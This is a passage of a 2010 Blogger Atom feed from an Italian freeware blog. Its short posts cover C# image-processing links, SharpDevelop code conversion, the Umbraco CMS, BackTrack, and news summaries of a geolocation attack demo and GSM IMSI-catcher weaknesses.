/></author><thr:total>0</thr:total><feedburner:origLink>http://freeware--software.blogspot.com/2010/08/newzie-un-software-freeware-per.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkIMRno8cSp7ImA9Wx5RE0U.&quot;"><id>tag:blogger.com,1999:blog-2498733631801710230.post-7203684455213372767</id><published>2010-08-21T00:09:00.002+02:00</published><updated>2010-08-21T10:49:47.479+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-08-21T10:49:47.479+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="manipolazione immagini" /><category scheme="http://www.blogger.com/atom/ns#" term=".net csharp" /><category scheme="http://www.blogger.com/atom/ns#" term="italian language" /><category scheme="http://www.blogger.com/atom/ns#" term="system.drawing" /><category scheme="http://www.blogger.com/atom/ns#" term="GDI" /><category scheme="http://www.blogger.com/atom/ns#" term="image manipulation" /><title>Manipolazione immagini in c#</title><content type="html">Qualche link con articoli&amp;nbsp; e progetti interessanti relativi alla manipolazione delle immagini usando csharp :&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;http://www.c-sharpcorner.com/uploadfile/shrutishrivastava/imageprocessing12192005061519am/imageprocessing.aspx un articolo introduttivo alla manipolazione di immagini in .Net ,&lt;/li&gt;
&lt;li&gt;http://www.dreamincode.net/forums/topic/53101-image-manipulation-with-gdi-in-c%23/ come aggiungere un "copyright" ad un immagine &lt;/li&gt;
&lt;li&gt; http://www.aspfree.com/c/a/C-Sharp/Basic-Image-Manipulation-using-GDI-and-C/ , un'introduzione a GDI&lt;/li&gt;
&lt;li&gt;http://www.codeproject.com/KB/GDI-plus/Image_Processing_Lab.aspx ,dallo stesso autore di interessanti software e librerie open (http://code.google.com/p/aforge/) per la detection di movimento e non solo , un interessante articolo che illustra funzioni avanzate&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;br /&gt;
un post&amp;nbsp; per chi vuole qualche spunto per acculturarsi&amp;nbsp; su questi argomenti trattati su piattaforma windows con il framework .net utilizzando il linguaggio csharp.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2498733631801710230-7203684455213372767?l=freeware--software.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/x4xqCYmLdEpUOsk8pQsdlhOSg2o/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/x4xqCYmLdEpUOsk8pQsdlhOSg2o/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/x4xqCYmLdEpUOsk8pQsdlhOSg2o/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/x4xqCYmLdEpUOsk8pQsdlhOSg2o/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/hHAGT/~4/ctHTE01KcFE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://freeware--software.blogspot.com/feeds/7203684455213372767/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://freeware--software.blogspot.com/2010/08/manipolazione-immagini-in-c.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/2498733631801710230/posts/default/7203684455213372767?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/2498733631801710230/posts/default/7203684455213372767?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/hHAGT/~3/ctHTE01KcFE/manipolazione-immagini-in-c.html" title="Manipolazione immagini in c#" /><author><name>Gianmarco Castagna</name><uri>http://www.blogger.com/profile/02452503114306769644</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://freeware--software.blogspot.com/2010/08/manipolazione-immagini-in-c.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DEQEQXc7eSp7ImA9Wx5RE0w.&quot;"><id>tag:blogger.com,1999:blog-2498733631801710230.post-4332051353573230832</id><published>2010-08-20T16:51:00.014+02:00</published><updated>2010-08-20T16:58:20.901+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-08-20T16:58:20.901+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="freeware software" /><category scheme="http://www.blogger.com/atom/ns#" term="Memory Improve Ultimate Free Version" /><title>An interesting freeware software: "Memory Improve Ultimate Free Version"</title><content type="html">now a freeware version,this software increase pc performance,  software is designed to          improve and monitor system memory,on website of software house you can find a plus of info and download link&amp;nbsp; &amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;nbsp; "http://www.windowscarepro.com/memory_improve_ultimate_free_version/index.htm"&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2498733631801710230-4332051353573230832?l=freeware--software.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/g0qOd6uobIE6ziJFVVo54NKb-uA/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/g0qOd6uobIE6ziJFVVo54NKb-uA/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/g0qOd6uobIE6ziJFVVo54NKb-uA/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/g0qOd6uobIE6ziJFVVo54NKb-uA/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/hHAGT/~4/2YKwRUsz-Hc" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://freeware--software.blogspot.com/feeds/4332051353573230832/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://freeware--software.blogspot.com/2010/08/interesting-freeware-software-memory.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/2498733631801710230/posts/default/4332051353573230832?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/2498733631801710230/posts/default/4332051353573230832?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/hHAGT/~3/2YKwRUsz-Hc/interesting-freeware-software-memory.html" title="An interesting freeware software: &quot;Memory Improve Ultimate Free Version&quot;" /><author><name>Gianmarco Castagna</name><uri>http://www.blogger.com/profile/02452503114306769644</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://freeware--software.blogspot.com/2010/08/interesting-freeware-software-memory.html</feedburner:origLink></entry><entry gd:etag="W/&quot;Dk4NQH04eCp7ImA9Wx5REk0.&quot;"><id>tag:blogger.com,1999:blog-2498733631801710230.post-8936101690855382585</id><published>2010-08-12T13:32:00.004+02:00</published><updated>2010-08-19T10:03:11.330+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-08-19T10:03:11.330+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="conference las vegas" /><category scheme="http://www.blogger.com/atom/ns#" term="freeware software" /><category scheme="http://www.blogger.com/atom/ns#" term="vmware" /><category scheme="http://www.blogger.com/atom/ns#" term="wifi" /><category scheme="http://www.blogger.com/atom/ns#" term="black hat" /><category scheme="http://www.blogger.com/atom/ns#" term="backtrack" /><title>Freeware software BackTrack r1 , Black Hat conference edition</title><content type="html">Risale al 5 agosto l'uscita della nuova release r1 di BackTrack oltre all'immagine iso potete scaricare sul sito ufficiale l'ìimmagine pronta per vmware che consente di usare in una macchina virtuale in un sistema windows quest'edizione con nuovi tool ed un nuovo kernel ,l'immagine per vmware è di circa 2400 mb.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2498733631801710230-8936101690855382585?l=freeware--software.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/6OUAgFR9By3CzHbS4ZPm83N7Dyk/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/6OUAgFR9By3CzHbS4ZPm83N7Dyk/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/6OUAgFR9By3CzHbS4ZPm83N7Dyk/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/6OUAgFR9By3CzHbS4ZPm83N7Dyk/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/hHAGT/~4/4slT3CvTTbk" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://freeware--software.blogspot.com/feeds/8936101690855382585/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://freeware--software.blogspot.com/2010/08/backtrack-r1-black-hat-edition.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/2498733631801710230/posts/default/8936101690855382585?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/2498733631801710230/posts/default/8936101690855382585?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/hHAGT/~3/4slT3CvTTbk/backtrack-r1-black-hat-edition.html" title="Freeware software BackTrack r1 , Black Hat conference edition" /><author><name>Gianmarco Castagna</name><uri>http://www.blogger.com/profile/02452503114306769644</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://freeware--software.blogspot.com/2010/08/backtrack-r1-black-hat-edition.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0QFQn85fCp7ImA9Wx5REk0.&quot;"><id>tag:blogger.com,1999:blog-2498733631801710230.post-6072529658833159222</id><published>2010-08-06T21:26:00.007+02:00</published><updated>2010-08-19T10:08:33.124+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-08-19T10:08:33.124+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="gianmarco castagna" /><category scheme="http://www.blogger.com/atom/ns#" term="python ruby" /><category scheme="http://www.blogger.com/atom/ns#" term="code translation" /><category scheme="http://www.blogger.com/atom/ns#" term="freeware software" /><category scheme="http://www.blogger.com/atom/ns#" term=".net" /><category scheme="http://www.blogger.com/atom/ns#" term="sharpdevelop" /><category scheme="http://www.blogger.com/atom/ns#" term="vb .net" /><category scheme="http://www.blogger.com/atom/ns#" term="c#" /><category scheme="http://www.blogger.com/atom/ns#" term="code converter" /><category scheme="http://www.blogger.com/atom/ns#" term="conversione codice" /><title>Convertire codice vb.net in c# o viceversa oppure da c# verso python o ruby con un software freeware ed opensource</title><content type="html">Tutto questo è possibile utilizzando &lt;b&gt;SharpDevelop&lt;/b&gt; (è freeware ed open source,scaricate&amp;nbsp; la 3.2 o successive) il risultato può non sempre essere eccelso ma comunque il convertitore funziona ,&lt;br /&gt;
aprite il progetto sorgente ad esempio in &lt;b&gt;c#&lt;/b&gt; ,navigate il menu principale fino a progetto apritelo ed andate a &lt;b&gt;converti&lt;/b&gt; scegliete il linguaggio che preferite e verrà appeso alla soluzione un nuovo progetto che sarà la traduzione nel linguaggio destinazione del progetto iniziale....&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2498733631801710230-6072529658833159222?l=freeware--software.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/X9j-Z11rousVhFrRkMfn4-J4b9w/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/X9j-Z11rousVhFrRkMfn4-J4b9w/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/X9j-Z11rousVhFrRkMfn4-J4b9w/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/X9j-Z11rousVhFrRkMfn4-J4b9w/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/hHAGT/~4/ej5Z61Q0S0k" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://freeware--software.blogspot.com/feeds/6072529658833159222/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://freeware--software.blogspot.com/2010/08/convertire-codice-vbnet-in-c-o.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/2498733631801710230/posts/default/6072529658833159222?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/2498733631801710230/posts/default/6072529658833159222?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/hHAGT/~3/ej5Z61Q0S0k/convertire-codice-vbnet-in-c-o.html" title="Convertire codice vb.net in c# o viceversa oppure da c# verso python o ruby con un software freeware ed opensource" /><author><name>Gianmarco Castagna</name><uri>http://www.blogger.com/profile/02452503114306769644</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://freeware--software.blogspot.com/2010/08/convertire-codice-vbnet-in-c-o.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DEECR306cSp7ImA9Wx5RGUw.&quot;"><id>tag:blogger.com,1999:blog-2498733631801710230.post-3743076027364225404</id><published>2010-08-05T22:23:00.007+02:00</published><updated>2010-08-27T15:44:26.319+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-08-27T15:44:26.319+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="sql server express" /><category scheme="http://www.blogger.com/atom/ns#" term="italian language" /><category scheme="http://www.blogger.com/atom/ns#" term="umbraco opensource" /><category scheme="http://www.blogger.com/atom/ns#" term="cms" /><category scheme="http://www.blogger.com/atom/ns#" term="freeware software" /><category scheme="http://www.blogger.com/atom/ns#" term="umbraco" /><category scheme="http://www.blogger.com/atom/ns#" term="ikvm" /><category scheme="http://www.blogger.com/atom/ns#" term="sp.net" /><category scheme="http://www.blogger.com/atom/ns#" term="xblr" /><title>Freeware and opensource software Content Management System Umbraco</title><content type="html">&lt;b&gt;Umbraco&lt;/b&gt; è scritto in &lt;b&gt;C#&lt;/b&gt; ( &lt;b&gt;asp.net&lt;/b&gt; ) e richiede &lt;b&gt;Sql Server&lt;/b&gt; come database,è sufficiente la versione gratuita di sql server, l'Express 2005 o 2008&lt;b&gt; .&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Umbraco&lt;/b&gt; è attualmente il &lt;b&gt;CMS&lt;/b&gt; piu' in voga nel mondo asp .net e la sua diffusione è dovuta al alcuni chiari fattori :&lt;br /&gt;
&lt;br /&gt;
-è gratuito ed opensource&lt;br /&gt;
&lt;br /&gt;
-è un cms molto "usabile"&lt;br /&gt;
&lt;br /&gt;
-è facile da modificare aggiungendo qualsiasi controllo asp.net all'interfaccia quindi estendendo l'interfaccia di Umbraco e le sue funzionalità nel modo desiderato&lt;br /&gt;
&lt;br /&gt;
-è ovviamante estendile anche il "backend" aggiungendo funzioni all'applicazione quale la generazione di documenti &lt;b&gt;pdf&lt;/b&gt; o qualsiasi altra integrazione possibile di .net con l'i&lt;b&gt;nteroperabilità&lt;/b&gt; verso qualsiasi altra libreria anche non .net ad esempio è possibile aggiungere un validatore di bilanci &lt;b&gt;XBLR&lt;/b&gt; al nostro sito "Umbraco" in pochi passi utilizzando&lt;b&gt; IKVM &lt;/b&gt;(opensource)&amp;nbsp; per interagire con la libreria &lt;b&gt;java&lt;/b&gt; opensource che gestisce il formato oppure interagire con le api di windows tramite &lt;b&gt;P-Invoke&lt;/b&gt; , ad esempio per chiamare l'antivirus di default sulla macchina,in questo caso l'host con &lt;b&gt;IIS&lt;/b&gt; (il processo dell'antivirus potrebbe rallentare IIS se sulla stessa macchina...) , usando lo stesso metodo utilizzato da &lt;b&gt;Firefox&lt;/b&gt; al quale ho accennato in un passato post, per controllare la presenza di virus in un file di cui viene fatto il &lt;b&gt;download&lt;/b&gt; , &lt;br /&gt;
a questo proposito è necessario dire che tra le molte estensioni pronte e gratuite di Umbraco è presente anche un controllo per l'&lt;b&gt;upload di file&lt;/b&gt; con un sistema di &lt;b&gt;chunk&lt;/b&gt; ovvero se vogliamo caricare un file molto grande nel &lt;b&gt;cms&lt;/b&gt;(Umbraco) possiamo farlo in piu' volte con dei &lt;b&gt;chunk&lt;/b&gt; (pezzo,unità) di 100 kb senza dover ripartire dall'inizio dell'upload .&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2498733631801710230-3743076027364225404?l=freeware--software.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/D8ICnx4IpSt6Ucpbgl3IcUQfqsw/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/D8ICnx4IpSt6Ucpbgl3IcUQfqsw/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/D8ICnx4IpSt6Ucpbgl3IcUQfqsw/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/D8ICnx4IpSt6Ucpbgl3IcUQfqsw/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/hHAGT/~4/nQbETl2ggoY" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://freeware--software.blogspot.com/feeds/3743076027364225404/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://freeware--software.blogspot.com/2010/08/content-management-system-umbraco.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/2498733631801710230/posts/default/3743076027364225404?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/2498733631801710230/posts/default/3743076027364225404?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/hHAGT/~3/nQbETl2ggoY/content-management-system-umbraco.html" title="Freeware and opensource software Content Management System Umbraco" /><author><name>Gianmarco Castagna</name><uri>http://www.blogger.com/profile/02452503114306769644</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://freeware--software.blogspot.com/2010/08/content-management-system-umbraco.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0ANQHYzeip7ImA9Wx5RGE8.&quot;"><id>tag:blogger.com,1999:blog-2498733631801710230.post-2596762817865176615</id><published>2010-08-05T07:44:00.003+02:00</published><updated>2010-08-26T13:23:11.882+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-08-26T13:23:11.882+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="mac address" /><category scheme="http://www.blogger.com/atom/ns#" term="gsm" /><category scheme="http://www.blogger.com/atom/ns#" term="geolocalizzazione gsm" /><category scheme="http://www.blogger.com/atom/ns#" term="google street view" /><category scheme="http://www.blogger.com/atom/ns#" term="sam kamkar" /><category scheme="http://www.blogger.com/atom/ns#" term="italian language" /><category scheme="http://www.blogger.com/atom/ns#" term="gianmarco castagna" /><category scheme="http://www.blogger.com/atom/ns#" term="router" /><category scheme="http://www.blogger.com/atom/ns#" term="geolocalizzazione google" /><category scheme="http://www.blogger.com/atom/ns#" term="black hat" /><category scheme="http://www.blogger.com/atom/ns#" term="the informant" /><title>Geolocalizzazione con street view e firefox</title><content type="html">Samy Kamkar alla Black Hat hackers conference ha dimostrato come un sito web gestito da un hacker può risalire alla nostra locazione geografica , non alla localizzazione tramite ip ottenibile con iptrace ed altri software molto diffusi ma l'hacker può risalire alla localizzazione precisa, errata solo di pochi metri ,da quello che ho letto penso che in realtà si tratti almeno di alcune decine di metri basandosi sulle coordinate per la localizzazione gps ,&amp;nbsp; &lt;a href="http://www.ghacks.net/2010/08/03/the-web-attack-that-leads-hackers-straight-to-your-home/"&gt;qui&lt;/a&gt; trovate il post da cui ho tratto la notizia , interessati sicuramente gli utenti di Firefox.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2498733631801710230-2596762817865176615?l=freeware--software.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/PISjqpNffU469huHR17DL31v9qI/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/PISjqpNffU469huHR17DL31v9qI/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/PISjqpNffU469huHR17DL31v9qI/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/PISjqpNffU469huHR17DL31v9qI/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/hHAGT/~4/mP1NCkeOnxg" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://freeware--software.blogspot.com/feeds/2596762817865176615/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://freeware--software.blogspot.com/2010/08/geolocalizzazione-con-street-view-e.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/2498733631801710230/posts/default/2596762817865176615?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/2498733631801710230/posts/default/2596762817865176615?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/hHAGT/~3/mP1NCkeOnxg/geolocalizzazione-con-street-view-e.html" title="Geolocalizzazione con street view e firefox" /><author><name>Gianmarco Castagna</name><uri>http://www.blogger.com/profile/02452503114306769644</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://freeware--software.blogspot.com/2010/08/geolocalizzazione-con-street-view-e.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUEASHgyeip7ImA9Wx5QF0U.&quot;"><id>tag:blogger.com,1999:blog-2498733631801710230.post-6382530993489190908</id><published>2010-08-04T07:25:00.005+02:00</published><updated>2010-09-06T16:34:09.692+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-09-06T16:34:09.692+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="castagna gianmarco" /><category scheme="http://www.blogger.com/atom/ns#" term="StealthMessage" /><category scheme="http://www.blogger.com/atom/ns#" term="email scadenza" /><category scheme="http://www.blogger.com/atom/ns#" term="https" /><category scheme="http://www.blogger.com/atom/ns#" term="email offuscata" /><category scheme="http://www.blogger.com/atom/ns#" term="email inaccessibile" /><title>StealthMessage,messaggi email "a scadenza"</title><content type="html">&lt;b&gt;StealthMessage.com&lt;/b&gt; è un sito che permette di creare un account di "posta elettronica" gratuito non proprio classicamente inteso....,è&amp;nbsp; possibile scrivere un messaggio di posta , al destinatario viene inviata un email che contiene un link che punta al sito Stealth Message ,dove il messaggio può essere letto in &lt;b&gt;https&lt;/b&gt; , il mittente può impostare un tempo scaduto il quale il messaggio sul server &lt;b&gt;Stealth&lt;/b&gt; viene cancellato ed è possibile settare anche una &lt;b&gt;password&lt;/b&gt; per offuscare il messaggio .&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2498733631801710230-6382530993489190908?l=freeware--software.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/X-6e8-K1XZqg4vAaBddZObfq89c/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/X-6e8-K1XZqg4vAaBddZObfq89c/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/X-6e8-K1XZqg4vAaBddZObfq89c/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/X-6e8-K1XZqg4vAaBddZObfq89c/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/hHAGT/~4/nzmP2QINLTY" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://freeware--software.blogspot.com/feeds/6382530993489190908/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://freeware--software.blogspot.com/2010/08/stealthmessagemessaggi-email-scadenza.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/2498733631801710230/posts/default/6382530993489190908?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/2498733631801710230/posts/default/6382530993489190908?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/hHAGT/~3/nzmP2QINLTY/stealthmessagemessaggi-email-scadenza.html" title="StealthMessage,messaggi email &quot;a scadenza&quot;" /><author><name>Gianmarco Castagna</name><uri>http://www.blogger.com/profile/02452503114306769644</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://freeware--software.blogspot.com/2010/08/stealthmessagemessaggi-email-scadenza.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEQHSXc9fCp7ImA9Wx5RGU0.&quot;"><id>tag:blogger.com,1999:blog-2498733631801710230.post-6977197996836184250</id><published>2010-08-04T07:18:00.008+02:00</published><updated>2010-08-27T11:45:38.964+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-08-27T11:45:38.964+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="man-in-the-middle" /><category scheme="http://www.blogger.com/atom/ns#" term="wikipedia" /><category scheme="http://www.blogger.com/atom/ns#" term="gsm" /><category scheme="http://www.blogger.com/atom/ns#" term="IMSI-catcher" /><category scheme="http://www.blogger.com/atom/ns#" term="italian language" /><category scheme="http://www.blogger.com/atom/ns#" term="gianmarco castagna" /><category scheme="http://www.blogger.com/atom/ns#" term="techrepublic" /><category scheme="http://www.blogger.com/atom/ns#" term="crittografia gsm" /><category scheme="http://www.blogger.com/atom/ns#" term="umts" /><category scheme="http://www.blogger.com/atom/ns#" term="the informant" /><title>Crittografia GSM : non è necessario crakkarla è sufficiente "spegnerla"</title><content type="html">Da un articolo su TechRepublic si deduce che il protocollo &lt;b&gt;GSM&lt;/b&gt; non sia forse il massimo in termini di sicurezza ,infatti è il dispositivo mobile che spedisce un certificato (&lt;b&gt;IMSI&lt;/b&gt;) alla torre.....alla torre del network....in genere....,&lt;br /&gt;
il post che trovate qui "http://blogs.techrepublic.com.com/security/?p=4167&amp;amp;tag=nl.e036" spiega, in termini generici, come sia possibile&amp;nbsp; forzare i telefoni cellulari a disattivare la crittografia e quindi ad esporli ad un attacco del tipo &lt;b&gt;Man-in-the-Middle&lt;/b&gt; .Questo avviene con un hardware che simula d'essere la cella del network,questo tipo di hardware si chiama I&lt;b&gt;MSI-catcher&lt;/b&gt;,wikipedia ne dà una dettagliata descrizione , &lt;b&gt;UMTS&lt;/b&gt; ha invece un tipo di autenticazione reciproca fra network e dispositivo rendendo l'attacco man-in-the-middle non praticabile.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2498733631801710230-6977197996836184250?l=freeware--software.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/6AN0aKrUXOoxb6qLmJX8M4lAsAg/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/6AN0aKrUXOoxb6qLmJX8M4lAsAg/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
